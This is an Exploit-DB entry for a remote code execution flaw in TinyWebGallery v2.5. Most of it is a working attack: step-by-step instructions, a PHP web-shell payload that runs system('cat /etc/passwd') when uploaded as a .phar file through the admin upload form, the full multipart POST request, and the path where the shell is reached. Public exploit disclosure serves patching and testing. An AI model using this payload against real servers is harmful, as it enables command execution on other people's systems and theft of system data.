Exploit-DB #51443
Description: TinyWebGallery v2.5 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-05-23
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: TinyWebGallery v2.5 - Remote Code Execution (RCE)
#Application: TinyWebGallery
#Version: v2.5
#Bugs:  RCE
#Technology: PHP
#Vendor URL: http://www.tinywebgallery.com/
#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest
#Date of found: 07-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 

1. Go to upload image http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true
2. upload .phar file
payload: payload: <?php echo system("cat /etc/passwd"); ?>
3. go to file link 


poc request:


POST /twg25/admin/index.php?action=upload&dir=&order=name&srt=yes&tview=no&sview=no&lang=en HTTP/1.1
Host: localhost
Content-Length: 2123
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53rZRhJinqaMm7Ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k
Connection: close

------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="token"

b2ed5512107a625ef9d5688ced296c61
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="confirm"

true
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename="shell.phar"
Content-Type: application/octet-stream

<?php echo system("cat /etc/passwd"); ?>

------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="twgsize"

100000
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="twgquality"

80
------WebKitFormBoundary53rZRhJinqaMm7Ip--





http://localhost/twg25/pictures/shell.phar